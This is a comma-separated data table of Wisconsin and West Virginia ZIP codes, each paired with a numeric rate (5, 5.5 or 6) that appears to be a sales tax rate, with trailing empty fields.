US-WI-54021,US,WI,54021,5.5,,,, US-WI-54022,US,WI,54022,5.5,,,, US-WI-54023,US,WI,54023,5.5,,,, US-WI-54024,US,WI,54024,5.5,,,, US-WI-54025,US,WI,54025,5.5,,,, US-WI-54026,US,WI,54026,5.5,,,, US-WI-54027,US,WI,54027,5.5,,,, US-WI-54028,US,WI,54028,5.5,,,, US-WI-54082,US,WI,54082,5.5,,,, US-WI-54101,US,WI,54101,5.5,,,, US-WI-54102,US,WI,54102,5.5,,,, US-WI-54103,US,WI,54103,5.5,,,, US-WI-54104,US,WI,54104,5.5,,,, US-WI-54106,US,WI,54106,5,,,, US-WI-54107,US,WI,54107,5.5,,,, US-WI-54110,US,WI,54110,5,,,, US-WI-54111,US,WI,54111,5.5,,,, US-WI-54112,US,WI,54112,5.5,,,, US-WI-54113,US,WI,54113,5,,,, US-WI-54114,US,WI,54114,5.5,,,, US-WI-54115,US,WI,54115,5.5,,,, US-WI-54119,US,WI,54119,5.5,,,, US-WI-54120,US,WI,54120,5.5,,,, US-WI-54121,US,WI,54121,5.5,,,, US-WI-54123,US,WI,54123,5,,,, US-WI-54124,US,WI,54124,5.5,,,, US-WI-54125,US,WI,54125,5.5,,,, US-WI-54126,US,WI,54126,5.5,,,, US-WI-54127,US,WI,54127,5.5,,,, US-WI-54128,US,WI,54128,5.5,,,, US-WI-54129,US,WI,54129,5,,,, US-WI-54130,US,WI,54130,5,,,, US-WI-54131,US,WI,54131,5,,,, US-WI-54135,US,WI,54135,5,,,, US-WI-54136,US,WI,54136,5,,,, US-WI-54137,US,WI,54137,5.5,,,, US-WI-54138,US,WI,54138,5.5,,,, US-WI-54139,US,WI,54139,5.5,,,, US-WI-54140,US,WI,54140,5,,,, US-WI-54141,US,WI,54141,5.5,,,, US-WI-54143,US,WI,54143,5.5,,,, US-WI-54149,US,WI,54149,5.5,,,, US-WI-54150,US,WI,54150,5,,,, US-WI-54151,US,WI,54151,5.5,,,, US-WI-54152,US,WI,54152,5,,,, US-WI-54153,US,WI,54153,5.5,,,, US-WI-54154,US,WI,54154,5.5,,,, US-WI-54155,US,WI,54155,5.5,,,, US-WI-54156,US,WI,54156,5.5,,,, US-WI-54157,US,WI,54157,5.5,,,, US-WI-54159,US,WI,54159,5.5,,,, US-WI-54160,US,WI,54160,5,,,, US-WI-54161,US,WI,54161,5.5,,,, US-WI-54162,US,WI,54162,5.5,,,, US-WI-54165,US,WI,54165,5,,,, US-WI-54166,US,WI,54166,5.5,,,, US-WI-54169,US,WI,54169,5,,,, US-WI-54170,US,WI,54170,5,,,, US-WI-54171,US,WI,54171,5.5,,,, US-WI-54173,US,WI,54173,5.5,,,, US-WI-54174,US,WI,54174,5.5,,,, US-WI-54175,US,WI,54175,5.5,,,, US-WI-54177,US,WI,54177,5.5,,,, US-WI-54180,US,WI,54180,5.5,,,, US-WI-54182,US,WI,54182,5.5,,,, US-WI-54201,US,WI,54201,5,,,, US-WI-54202,US,WI,54202,5.5,,,, US-WI-54204,US,WI,54204,5.5,,,, US-WI-54205,US,WI,54205,5,,,, US-WI-54207,US,WI,54207,5,,,, US-WI-54208,US,WI,54208,5.5,,,, US-WI-54209,US,WI,54209,5.5,,,, US-WI-54210,US,WI,54210,5.5,,,, US-WI-54211,US,WI,54211,5.5,,,, US-WI-54212,US,WI,54212,5.5,,,, US-WI-54213,US,WI,54213,5.5,,,, US-WI-54214,US,WI,54214,5,,,, US-WI-54215,US,WI,54215,5,,,, US-WI-54216,US,WI,54216,5,,,, US-WI-54217,US,WI,54217,5,,,, US-WI-54220,US,WI,54220,5,,,, US-WI-54221,US,WI,54221,5,,,, US-WI-54226,US,WI,54226,5.5,,,, US-WI-54227,US,WI,54227,5,,,, US-WI-54228,US,WI,54228,5,,,, US-WI-54229,US,WI,54229,5.5,,,, US-WI-54230,US,WI,54230,5,,,, US-WI-54232,US,WI,54232,5,,,, US-WI-54234,US,WI,54234,5.5,,,, US-WI-54235,US,WI,54235,5.5,,,, US-WI-54241,US,WI,54241,5,,,, US-WI-54245,US,WI,54245,5,,,, US-WI-54246,US,WI,54246,5.5,,,, US-WI-54247,US,WI,54247,5,,,, US-WI-54301,US,WI,54301,5.5,,,, US-WI-54302,US,WI,54302,5.5,,,, US-WI-54303,US,WI,54303,5.5,,,, US-WI-54304,US,WI,54304,5.5,,,, US-WI-54305,US,WI,54305,5.5,,,, US-WI-54306,US,WI,54306,5.5,,,, US-WI-54307,US,WI,54307,5.5,,,, US-WI-54308,US,WI,54308,5.5,,,, US-WI-54311,US,WI,54311,5.5,,,, US-WI-54313,US,WI,54313,5.5,,,, US-WI-54324,US,WI,54324,5.5,,,, US-WI-54344,US,WI,54344,5.5,,,, US-WI-54401,US,WI,54401,5.5,,,, US-WI-54402,US,WI,54402,5.5,,,, US-WI-54403,US,WI,54403,5.5,,,, US-WI-54404,US,WI,54404,5.5,,,, US-WI-54405,US,WI,54405,5.5,,,, US-WI-54406,US,WI,54406,5.5,,,, US-WI-54407,US,WI,54407,5.5,,,, US-WI-54408,US,WI,54408,5.5,,,, US-WI-54409,US,WI,54409,5.5,,,, US-WI-54410,US,WI,54410,5.5,,,, US-WI-54411,US,WI,54411,5.5,,,, US-WI-54412,US,WI,54412,5.5,,,, US-WI-54413,US,WI,54413,5.5,,,, US-WI-54414,US,WI,54414,5.5,,,, US-WI-54415,US,WI,54415,5.5,,,, US-WI-54416,US,WI,54416,5.5,,,, US-WI-54417,US,WI,54417,5.5,,,, US-WI-54418,US,WI,54418,5.5,,,, US-WI-54420,US,WI,54420,5.5,,,, US-WI-54421,US,WI,54421,5.5,,,, US-WI-54422,US,WI,54422,5.5,,,, US-WI-54423,US,WI,54423,5.5,,,, US-WI-54424,US,WI,54424,5.5,,,, US-WI-54425,US,WI,54425,5.5,,,, US-WI-54426,US,WI,54426,5.5,,,, US-WI-54427,US,WI,54427,5.5,,,, US-WI-54428,US,WI,54428,5.5,,,, US-WI-54429,US,WI,54429,5.5,,,, US-WI-54430,US,WI,54430,5.5,,,, US-WI-54432,US,WI,54432,5.5,,,, US-WI-54433,US,WI,54433,5.5,,,, US-WI-54434,US,WI,54434,5.5,,,, US-WI-54435,US,WI,54435,5.5,,,, US-WI-54436,US,WI,54436,5.5,,,, US-WI-54437,US,WI,54437,5.5,,,, US-WI-54439,US,WI,54439,5.5,,,, US-WI-54440,US,WI,54440,5.5,,,, US-WI-54441,US,WI,54441,5.5,,,, US-WI-54442,US,WI,54442,5.5,,,, US-WI-54443,US,WI,54443,5.5,,,, US-WI-54446,US,WI,54446,5.5,,,, US-WI-54447,US,WI,54447,5.5,,,, US-WI-54448,US,WI,54448,5.5,,,, US-WI-54449,US,WI,54449,5.5,,,, US-WI-54450,US,WI,54450,5.5,,,, US-WI-54451,US,WI,54451,5.5,,,, US-WI-54452,US,WI,54452,5.5,,,, US-WI-54454,US,WI,54454,5.5,,,, US-WI-54455,US,WI,54455,5.5,,,, US-WI-54456,US,WI,54456,5.5,,,, US-WI-54457,US,WI,54457,5.5,,,, US-WI-54458,US,WI,54458,5.5,,,, US-WI-54459,US,WI,54459,5.5,,,, US-WI-54460,US,WI,54460,5.5,,,, US-WI-54462,US,WI,54462,5.5,,,, US-WI-54463,US,WI,54463,5.5,,,, US-WI-54464,US,WI,54464,5.5,,,, US-WI-54465,US,WI,54465,5.5,,,, US-WI-54466,US,WI,54466,5.5,,,, US-WI-54467,US,WI,54467,5.5,,,, US-WI-54469,US,WI,54469,5.5,,,, US-WI-54470,US,WI,54470,5.5,,,, US-WI-54471,US,WI,54471,5.5,,,, US-WI-54472,US,WI,54472,5.5,,,, US-WI-54473,US,WI,54473,5.5,,,, US-WI-54474,US,WI,54474,5.5,,,, US-WI-54475,US,WI,54475,5.5,,,, US-WI-54476,US,WI,54476,5.5,,,, US-WI-54479,US,WI,54479,5.5,,,, US-WI-54480,US,WI,54480,5.5,,,, US-WI-54481,US,WI,54481,5.5,,,, US-WI-54482,US,WI,54482,5.5,,,, US-WI-54484,US,WI,54484,5.5,,,, US-WI-54485,US,WI,54485,5.5,,,, US-WI-54486,US,WI,54486,5.5,,,, US-WI-54487,US,WI,54487,5.5,,,, US-WI-54488,US,WI,54488,5.5,,,, US-WI-54489,US,WI,54489,5.5,,,, US-WI-54490,US,WI,54490,5.5,,,, US-WI-54491,US,WI,54491,5.5,,,, US-WI-54492,US,WI,54492,5.5,,,, US-WI-54493,US,WI,54493,5.5,,,, US-WI-54494,US,WI,54494,5.5,,,, US-WI-54495,US,WI,54495,5.5,,,, US-WI-54498,US,WI,54498,5.5,,,, US-WI-54499,US,WI,54499,5.5,,,, US-WI-54501,US,WI,54501,5.5,,,, US-WI-54511,US,WI,54511,5.5,,,, US-WI-54512,US,WI,54512,5.5,,,, US-WI-54513,US,WI,54513,5.5,,,, US-WI-54514,US,WI,54514,5.5,,,, US-WI-54515,US,WI,54515,5.5,,,, US-WI-54517,US,WI,54517,5.5,,,, US-WI-54519,US,WI,54519,5.5,,,, US-WI-54520,US,WI,54520,5.5,,,, US-WI-54521,US,WI,54521,5.5,,,, US-WI-54524,US,WI,54524,5.5,,,, US-WI-54525,US,WI,54525,5.5,,,, US-WI-54526,US,WI,54526,5.5,,,, US-WI-54527,US,WI,54527,5.5,,,, US-WI-54529,US,WI,54529,5.5,,,, US-WI-54530,US,WI,54530,5.5,,,, US-WI-54531,US,WI,54531,5.5,,,, US-WI-54532,US,WI,54532,5.5,,,, US-WI-54534,US,WI,54534,5.5,,,, US-WI-54536,US,WI,54536,5.5,,,, US-WI-54537,US,WI,54537,5.5,,,, US-WI-54538,US,WI,54538,5.5,,,, US-WI-54539,US,WI,54539,5.5,,,, US-WI-54540,US,WI,54540,5.5,,,, US-WI-54541,US,WI,54541,5.5,,,, US-WI-54542,US,WI,54542,5.5,,,, US-WI-54543,US,WI,54543,5.5,,,, US-WI-54545,US,WI,54545,5.5,,,, US-WI-54546,US,WI,54546,5.5,,,, US-WI-54547,US,WI,54547,5.5,,,, US-WI-54548,US,WI,54548,5.5,,,, US-WI-54550,US,WI,54550,5.5,,,, US-WI-54552,US,WI,54552,5.5,,,, US-WI-54554,US,WI,54554,5.5,,,, US-WI-54555,US,WI,54555,5.5,,,, US-WI-54556,US,WI,54556,5.5,,,, US-WI-54557,US,WI,54557,5.5,,,, US-WI-54558,US,WI,54558,5.5,,,, US-WI-54559,US,WI,54559,5.5,,,, US-WI-54560,US,WI,54560,5.5,,,, US-WI-54561,US,WI,54561,5.5,,,, US-WI-54562,US,WI,54562,5.5,,,, US-WI-54563,US,WI,54563,5.5,,,, US-WI-54564,US,WI,54564,5.5,,,, US-WI-54565,US,WI,54565,5.5,,,, US-WI-54566,US,WI,54566,5.5,,,, US-WI-54568,US,WI,54568,5.5,,,, US-WI-54601,US,WI,54601,5.5,,,, US-WI-54602,US,WI,54602,5.5,,,, US-WI-54603,US,WI,54603,5.5,,,, US-WI-54610,US,WI,54610,5.5,,,, US-WI-54611,US,WI,54611,5.5,,,, US-WI-54612,US,WI,54612,5.5,,,, US-WI-54613,US,WI,54613,5.5,,,, US-WI-54614,US,WI,54614,5.5,,,, US-WI-54615,US,WI,54615,5.5,,,, US-WI-54616,US,WI,54616,5.5,,,, US-WI-54618,US,WI,54618,5.5,,,, US-WI-54619,US,WI,54619,5.5,,,, US-WI-54620,US,WI,54620,5.5,,,, US-WI-54621,US,WI,54621,5.5,,,, US-WI-54622,US,WI,54622,5.5,,,, US-WI-54623,US,WI,54623,5.5,,,, US-WI-54624,US,WI,54624,5.5,,,, US-WI-54625,US,WI,54625,5.5,,,, US-WI-54626,US,WI,54626,5.5,,,, US-WI-54627,US,WI,54627,5.5,,,, US-WI-54628,US,WI,54628,5.5,,,, US-WI-54629,US,WI,54629,5.5,,,, US-WI-54630,US,WI,54630,5.5,,,, US-WI-54631,US,WI,54631,5.5,,,, US-WI-54632,US,WI,54632,5.5,,,, US-WI-54634,US,WI,54634,5.5,,,, US-WI-54635,US,WI,54635,5.5,,,, US-WI-54636,US,WI,54636,5.5,,,, US-WI-54637,US,WI,54637,5.5,,,, US-WI-54638,US,WI,54638,5.5,,,, US-WI-54639,US,WI,54639,5.5,,,, US-WI-54640,US,WI,54640,5.5,,,, US-WI-54641,US,WI,54641,5.5,,,, US-WI-54642,US,WI,54642,5.5,,,, US-WI-54643,US,WI,54643,5.5,,,, US-WI-54644,US,WI,54644,5.5,,,, US-WI-54645,US,WI,54645,5.5,,,, US-WI-54646,US,WI,54646,5.5,,,, US-WI-54648,US,WI,54648,5.5,,,, US-WI-54649,US,WI,54649,5.5,,,, US-WI-54650,US,WI,54650,5.5,,,, US-WI-54651,US,WI,54651,5.5,,,, US-WI-54652,US,WI,54652,5.5,,,, US-WI-54653,US,WI,54653,5.5,,,, US-WI-54654,US,WI,54654,5.5,,,, US-WI-54655,US,WI,54655,5.5,,,, US-WI-54656,US,WI,54656,5.5,,,, US-WI-54657,US,WI,54657,5.5,,,, US-WI-54658,US,WI,54658,5.5,,,, US-WI-54659,US,WI,54659,5.5,,,, US-WI-54660,US,WI,54660,5.5,,,, US-WI-54661,US,WI,54661,5.5,,,, US-WI-54662,US,WI,54662,5.5,,,, US-WI-54664,US,WI,54664,5.5,,,, US-WI-54665,US,WI,54665,5.5,,,, US-WI-54666,US,WI,54666,5.5,,,, US-WI-54667,US,WI,54667,5.5,,,, US-WI-54669,US,WI,54669,5.5,,,, US-WI-54670,US,WI,54670,5.5,,,, US-WI-54701,US,WI,54701,5.5,,,, US-WI-54702,US,WI,54702,5.5,,,, US-WI-54703,US,WI,54703,5.5,,,, US-WI-54720,US,WI,54720,5.5,,,, US-WI-54721,US,WI,54721,5.5,,,, US-WI-54722,US,WI,54722,5.5,,,, US-WI-54723,US,WI,54723,5.5,,,, US-WI-54724,US,WI,54724,5.5,,,, US-WI-54725,US,WI,54725,5.5,,,, US-WI-54726,US,WI,54726,5.5,,,, US-WI-54727,US,WI,54727,5.5,,,, US-WI-54728,US,WI,54728,5.5,,,, US-WI-54729,US,WI,54729,5.5,,,, US-WI-54730,US,WI,54730,5.5,,,, US-WI-54731,US,WI,54731,5.5,,,, US-WI-54732,US,WI,54732,5.5,,,, US-WI-54733,US,WI,54733,5.5,,,, US-WI-54734,US,WI,54734,5.5,,,, US-WI-54735,US,WI,54735,5.5,,,, US-WI-54736,US,WI,54736,5.5,,,, US-WI-54737,US,WI,54737,5.5,,,, US-WI-54738,US,WI,54738,5.5,,,, US-WI-54739,US,WI,54739,5.5,,,, US-WI-54740,US,WI,54740,5.5,,,, US-WI-54741,US,WI,54741,5.5,,,, US-WI-54742,US,WI,54742,5.5,,,, US-WI-54743,US,WI,54743,5.5,,,, US-WI-54745,US,WI,54745,5.5,,,, US-WI-54746,US,WI,54746,5.5,,,, US-WI-54747,US,WI,54747,5.5,,,, US-WI-54748,US,WI,54748,5.5,,,, US-WI-54749,US,WI,54749,5.5,,,, US-WI-54750,US,WI,54750,5.5,,,, US-WI-54751,US,WI,54751,5.5,,,, US-WI-54754,US,WI,54754,5.5,,,, US-WI-54755,US,WI,54755,5.5,,,, US-WI-54756,US,WI,54756,5.5,,,, US-WI-54757,US,WI,54757,5.5,,,, US-WI-54758,US,WI,54758,5.5,,,, US-WI-54759,US,WI,54759,5.5,,,, US-WI-54760,US,WI,54760,5.5,,,, US-WI-54761,US,WI,54761,5.5,,,, US-WI-54762,US,WI,54762,5.5,,,, US-WI-54763,US,WI,54763,5.5,,,, US-WI-54764,US,WI,54764,5.5,,,, US-WI-54765,US,WI,54765,5.5,,,, US-WI-54766,US,WI,54766,5.5,,,, US-WI-54767,US,WI,54767,5.5,,,, US-WI-54768,US,WI,54768,5.5,,,, US-WI-54769,US,WI,54769,5.5,,,, US-WI-54770,US,WI,54770,5.5,,,, US-WI-54771,US,WI,54771,5.5,,,, US-WI-54772,US,WI,54772,5.5,,,, US-WI-54773,US,WI,54773,5.5,,,, US-WI-54774,US,WI,54774,5.5,,,, US-WI-54801,US,WI,54801,5.5,,,, US-WI-54805,US,WI,54805,5.5,,,, US-WI-54806,US,WI,54806,5.5,,,, US-WI-54810,US,WI,54810,5.5,,,, US-WI-54812,US,WI,54812,5.5,,,, US-WI-54813,US,WI,54813,5.5,,,, US-WI-54814,US,WI,54814,5.5,,,, US-WI-54816,US,WI,54816,5.5,,,, US-WI-54817,US,WI,54817,5.5,,,, US-WI-54818,US,WI,54818,5.5,,,, US-WI-54819,US,WI,54819,5.5,,,, US-WI-54820,US,WI,54820,5.5,,,, US-WI-54821,US,WI,54821,5.5,,,, US-WI-54822,US,WI,54822,5.5,,,, US-WI-54824,US,WI,54824,5.5,,,, US-WI-54826,US,WI,54826,5.5,,,, US-WI-54827,US,WI,54827,5.5,,,, US-WI-54828,US,WI,54828,5.5,,,, US-WI-54829,US,WI,54829,5.5,,,, US-WI-54830,US,WI,54830,5.5,,,, US-WI-54832,US,WI,54832,5.5,,,, US-WI-54834,US,WI,54834,5.5,,,, US-WI-54835,US,WI,54835,5.5,,,, US-WI-54836,US,WI,54836,5.5,,,, US-WI-54837,US,WI,54837,5.5,,,, US-WI-54838,US,WI,54838,5.5,,,, US-WI-54839,US,WI,54839,5.5,,,, US-WI-54840,US,WI,54840,5.5,,,, US-WI-54841,US,WI,54841,5.5,,,, US-WI-54842,US,WI,54842,5.5,,,, US-WI-54843,US,WI,54843,5.5,,,, US-WI-54844,US,WI,54844,5.5,,,, US-WI-54845,US,WI,54845,5.5,,,, US-WI-54846,US,WI,54846,5.5,,,, US-WI-54847,US,WI,54847,5.5,,,, US-WI-54848,US,WI,54848,5.5,,,, US-WI-54849,US,WI,54849,5.5,,,, US-WI-54850,US,WI,54850,5.5,,,, US-WI-54853,US,WI,54853,5.5,,,, US-WI-54854,US,WI,54854,5.5,,,, US-WI-54855,US,WI,54855,5.5,,,, US-WI-54856,US,WI,54856,5.5,,,, US-WI-54857,US,WI,54857,5.5,,,, US-WI-54858,US,WI,54858,5.5,,,, US-WI-54859,US,WI,54859,5.5,,,, US-WI-54861,US,WI,54861,5.5,,,, US-WI-54862,US,WI,54862,5.5,,,, US-WI-54864,US,WI,54864,5.5,,,, US-WI-54865,US,WI,54865,5.5,,,, US-WI-54867,US,WI,54867,5.5,,,, US-WI-54868,US,WI,54868,5.5,,,, US-WI-54870,US,WI,54870,5.5,,,, US-WI-54871,US,WI,54871,5.5,,,, US-WI-54872,US,WI,54872,5.5,,,, US-WI-54873,US,WI,54873,5.5,,,, US-WI-54874,US,WI,54874,5.5,,,, US-WI-54875,US,WI,54875,5.5,,,, US-WI-54876,US,WI,54876,5.5,,,, US-WI-54880,US,WI,54880,5.5,,,, US-WI-54888,US,WI,54888,5.5,,,, US-WI-54889,US,WI,54889,5.5,,,, US-WI-54890,US,WI,54890,5.5,,,, US-WI-54891,US,WI,54891,5.5,,,, US-WI-54893,US,WI,54893,5.5,,,, US-WI-54895,US,WI,54895,5.5,,,, US-WI-54896,US,WI,54896,5.5,,,, US-WI-54901,US,WI,54901,5,,,, US-WI-54902,US,WI,54902,5,,,, US-WI-54903,US,WI,54903,5,,,, US-WI-54904,US,WI,54904,5,,,, US-WI-54906,US,WI,54906,5,,,, US-WI-54909,US,WI,54909,5.5,,,, US-WI-54911,US,WI,54911,5,,,, US-WI-54912,US,WI,54912,5,,,, US-WI-54913,US,WI,54913,5,,,, US-WI-54914,US,WI,54914,5,,,, US-WI-54915,US,WI,54915,5,,,, US-WI-54919,US,WI,54919,5,,,, US-WI-54921,US,WI,54921,5.5,,,, US-WI-54922,US,WI,54922,5,,,, US-WI-54923,US,WI,54923,5.5,,,, US-WI-54926,US,WI,54926,5.5,,,, US-WI-54927,US,WI,54927,5,,,, US-WI-54928,US,WI,54928,5.5,,,, US-WI-54929,US,WI,54929,5.5,,,, US-WI-54930,US,WI,54930,5.5,,,, US-WI-54931,US,WI,54931,5,,,, US-WI-54932,US,WI,54932,5.5,,,, US-WI-54933,US,WI,54933,5.5,,,, US-WI-54934,US,WI,54934,5,,,, US-WI-54935,US,WI,54935,5.5,,,, US-WI-54936,US,WI,54936,5.5,,,, US-WI-54937,US,WI,54937,5.5,,,, US-WI-54940,US,WI,54940,5.5,,,, US-WI-54941,US,WI,54941,5.5,,,, US-WI-54942,US,WI,54942,5,,,, US-WI-54943,US,WI,54943,5.5,,,, US-WI-54944,US,WI,54944,5,,,, US-WI-54945,US,WI,54945,5.5,,,, US-WI-54946,US,WI,54946,5.5,,,, US-WI-54947,US,WI,54947,5,,,, US-WI-54948,US,WI,54948,5.5,,,, US-WI-54949,US,WI,54949,5.5,,,, US-WI-54950,US,WI,54950,5.5,,,, US-WI-54952,US,WI,54952,5,,,, US-WI-54956,US,WI,54956,5,,,, US-WI-54957,US,WI,54957,5,,,, US-WI-54960,US,WI,54960,5.5,,,, US-WI-54961,US,WI,54961,5.5,,,, US-WI-54962,US,WI,54962,5.5,,,, US-WI-54963,US,WI,54963,5,,,, US-WI-54964,US,WI,54964,5,,,, US-WI-54965,US,WI,54965,5.5,,,, US-WI-54966,US,WI,54966,5.5,,,, US-WI-54967,US,WI,54967,5.5,,,, US-WI-54968,US,WI,54968,5.5,,,, US-WI-54969,US,WI,54969,5.5,,,, US-WI-54970,US,WI,54970,5.5,,,, US-WI-54971,US,WI,54971,5.5,,,, US-WI-54974,US,WI,54974,5.5,,,, US-WI-54976,US,WI,54976,5.5,,,, US-WI-54977,US,WI,54977,5.5,,,, US-WI-54978,US,WI,54978,5.5,,,, US-WI-54979,US,WI,54979,5.5,,,, US-WI-54980,US,WI,54980,5,,,, US-WI-54981,US,WI,54981,5.5,,,, US-WI-54982,US,WI,54982,5.5,,,, US-WI-54983,US,WI,54983,5.5,,,, US-WI-54984,US,WI,54984,5.5,,,, US-WI-54985,US,WI,54985,5,,,, US-WI-54986,US,WI,54986,5,,,, US-WI-54990,US,WI,54990,5.5,,,, US-WV-24701,US,WV,24701,6,,,, US-WV-24712,US,WV,24712,6,,,, US-WV-24714,US,WV,24714,6,,,, US-WV-24715,US,WV,24715,6,,,, US-WV-24716,US,WV,24716,6,,,, US-WV-24719,US,WV,24719,6,,,, US-WV-24724,US,WV,24724,6,,,, US-WV-24726,US,WV,24726,6,,,, US-WV-24729,US,WV,24729,6,,,, US-WV-24731,US,WV,24731,6,,,, US-WV-24732,US,WV,24732,6,,,, US-WV-24733,US,WV,24733,6,,,, US-WV-24736,US,WV,24736,6,,,, US-WV-24737,US,WV,24737,6,,,, US-WV-24738,US,WV,24738,6,,,, US-WV-24739,US,WV,24739,6,,,, US-WV-24740,US,WV,24740,6,,,, US-WV-24747,US,WV,24747,6,,,, US-WV-24751,US,WV,24751,6,,,, US-WV-24801,US,WV,24801,6,,,, US-WV-24808,US,WV,24808,6,,,, US-WV-24811,US,WV,24811,6,,,, US-WV-24813,US,WV,24813,6,,,, US-WV-24815,US,WV,24815,6,,,, US-WV-24816,US,WV,24816,6,,,, US-WV-24817,US,WV,24817,6,,,, US-WV-24818,US,WV,24818,6,,,, US-WV-24822,US,WV,24822,6,,,, US-WV-24823,US,WV,24823,6,,,, US-WV-24826,US,WV,24826,6,,,, US-WV-24827,US,WV,24827,6,,,, US-WV-24828,US,WV,24828,6,,,, US-WV-24829,US,WV,24829,6,,,, US-WV-24830,US,WV,24830,6,,,, US-WV-24831,US,WV,24831,6,,,, US-WV-24834,US,WV,24834,6,,,, US-WV-24836,US,WV,24836,6,,,, US-WV-24839,US,WV,24839,6,,,, US-WV-24843,US,WV,24843,6,,,, US-WV-24844,US,WV,24844,6,,,, US-WV-24845,US,WV,24845,6,,,, US-WV-24846,US,WV,24846,6,,,, US-WV-24847,US,WV,24847,6,,,, US-WV-24848,US,WV,24848,6,,,, US-WV-24849,US,WV,24849,6,,,, US-WV-24850,US,WV,24850,6,,,, US-WV-24851,US,WV,24851,6,,,, US-WV-24853,US,WV,24853,6,,,, US-WV-24854,US,WV,24854,6,,,, US-WV-24855,US,WV,24855,6,,,, US-WV-24857,US,WV,24857,6,,,, US-WV-24859,US,WV,24859,6,,,, US-WV-24860,US,WV,24860,6,,,, US-WV-24861,US,WV,24861,6,,,, US-WV-24862,US,WV,24862,6,,,, US-WV-24866,US,WV,24866,6,,,, US-WV-24867,US,WV,24867,6,,,, US-WV-24868,US,WV,24868,6,,,, US-WV-24869,US,WV,24869,6,,,, US-WV-24870,US,WV,24870,6,,,, US-WV-24871,US,WV,24871,6,,,, US-WV-24872,US,WV,24872,6,,,, US-WV-24873,US,WV,24873,6,,,, US-WV-24874,US,WV,24874,6,,,, US-WV-24878,US,WV,24878,6,,,, US-WV-24879,US,WV,24879,6,,,, US-WV-24880,US,WV,24880,6,,,, US-WV-24881,US,WV,24881,6,,,, US-WV-24882,US,WV,24882,6,,,, US-WV-24884,US,WV,24884,6,,,, US-WV-24887,US,WV,24887,6,,,, US-WV-24888,US,WV,24888,6,,,, US-WV-24892,US,WV,24892,6,,,, US-WV-24894,US,WV,24894,6,,,, US-WV-24895,US,WV,24895,6,,,, US-WV-24898,US,WV,24898,6,,,, US-WV-24901,US,WV,24901,6,,,, US-WV-24902,US,WV,24902,6,,,, US-WV-24910,US,WV,24910,6,,,, US-WV-24915,US,WV,24915,6,,,, US-WV-24916,US,WV,24916,6,,,, US-WV-24918,US,WV,24918,6,,,, US-WV-24920,US,WV,24920,6,,,, US-WV-24924,US,WV,24924,6,,,, US-WV-24925,US,WV,24925,6,,,, US-WV-24927,US,WV,24927,6,,,, US-WV-24931,US,WV,24931,6,,,, US-WV-24934,US,WV,24934,6,,,, US-WV-24935,US,WV,24935,6,,,, US-WV-24938,US,WV,24938,6,,,, US-WV-24941,US,WV,24941,6,,,, US-WV-24943,US,WV,24943,6,,,, US-WV-24944,US,WV,24944,6,,,, US-WV-24945,US,WV,24945,6,,,, US-WV-24946,US,WV,24946,6,,,, US-WV-24951,US,WV,24951,6,,,, US-WV-24954,US,WV,24954,6,,,, US-WV-24957,US,WV,24957,6,,,, US-WV-24962,US,WV,24962,6,,,, US-WV-24963,US,WV,24963,6,,,, US-WV-24966,US,WV,24966,6,,,, US-WV-24970,US,WV,24970,6,,,, US-WV-24974,US,WV,24974,6,,,, US-WV-24976,US,WV,24976,6,,,, US-WV-24977,US,WV,24977,6,,,, US-WV-24981,US,WV,24981,6,,,, US-WV-24983,US,WV,24983,6,,,, US-WV-24984,US,WV,24984,6,,,, US-WV-24985,US,WV,24985,6,,,, US-WV-24986,US,WV,24986,6,,,, US-WV-24991,US,WV,24991,6,,,, US-WV-24993,US,WV,24993,6,,,, US-WV-25002,US,WV,25002,6,,,, US-WV-25003,US,WV,25003,6,,,, US-WV-25005,US,WV,25005,6,,,, US-WV-25007,US,WV,25007,6,,,, US-WV-25008,US,WV,25008,6,,,, US-WV-25009,US,WV,25009,6,,,, US-WV-25011,US,WV,25011,6,,,, US-WV-25015,US,WV,25015,6,,,, US-WV-25019,US,WV,25019,6,,,, US-WV-25021,US,WV,25021,6,,,, US-WV-25022,US,WV,25022,6,,,, US-WV-25024,US,WV,25024,6,,,, US-WV-25025,US,WV,25025,6,,,, US-WV-25026,US,WV,25026,6,,,, US-WV-25028,US,WV,25028,6,,,, US-WV-25030,US,WV,25030,6,,,, US-WV-25031,US,WV,25031,6,,,, US-WV-25033,US,WV,25033,6,,,, US-WV-25035,US,WV,25035,6,,,, US-WV-25036,US,WV,25036,6,,,, US-WV-25039,US,WV,25039,6,,,, US-WV-25040,US,WV,25040,6,,,, US-WV-25043,US,WV,25043,6,,,, US-WV-25044,US,WV,25044,6,,,, US-WV-25045,US,WV,25045,6,,,, US-WV-25047,US,WV,25047,6,,,, US-WV-25048,US,WV,25048,6,,,, US-WV-25049,US,WV,25049,6,,,, US-WV-25051,US,WV,25051,6,,,, US-WV-25053,US,WV,25053,6,,,, US-WV-25054,US,WV,25054,6,,,, US-WV-25057,US,WV,25057,6,,,, US-WV-25059,US,WV,25059,6,,,, US-WV-25060,US,WV,25060,6,,,, US-WV-25061,US,WV,25061,6,,,, US-WV-25062,US,WV,25062,6,,,, US-WV-25063,US,WV,25063,6,,,, US-WV-25064,US,WV,25064,6,,,, US-WV-25067,US,WV,25067,6,,,, US-WV-25070,US,WV,25070,6,,,, US-WV-25071,US,WV,25071,6,,,, US-WV-25075,US,WV,25075,6,,,, US-WV-25076,US,WV,25076,6,,,, US-WV-25079,US,WV,25079,6,,,, US-WV-25081,US,WV,25081,6,,,, US-WV-25082,US,WV,25082,6,,,, US-WV-25083,US,WV,25083,6,,,, US-WV-25085,US,WV,25085,6,,,, US-WV-25086,US,WV,25086,6,,,, US-WV-25088,US,WV,25088,6,,,, US-WV-25090,US,WV,25090,6,,,, US-WV-25093,US,WV,25093,6,,,, US-WV-25102,US,WV,25102,6,,,, US-WV-25103,US,WV,25103,6,,,, US-WV-25106,US,WV,25106,6,,,, US-WV-25107,US,WV,25107,6,,,, US-WV-25108,US,WV,25108,6,,,, US-WV-25109,US,WV,25109,6,,,, US-WV-25110,US,WV,25110,6,,,, US-WV-25111,US,WV,25111,6,,,, US-WV-25112,US,WV,25112,6,,,, US-WV-25113,US,WV,25113,6,,,, US-WV-25114,US,WV,25114,6,,,, US-WV-25115,US,WV,25115,6,,,, US-WV-25118,US,WV,25118,6,,,, US-WV-25119,US,WV,25119,6,,,, US-WV-25121,US,WV,25121,6,,,, US-WV-25123,US,WV,25123,6,,,, US-WV-25124,US,WV,25124,6,,,, US-WV-25125,US,WV,25125,6,,,, US-WV-25126,US,WV,25126,6,,,, US-WV-25130,US,WV,25130,6,,,, US-WV-25132,US,WV,25132,6,,,, US-WV-25133,US,WV,25133,6,,,, US-WV-25134,US,WV,25134,6,,,, US-WV-25136,US,WV,25136,6,,,, 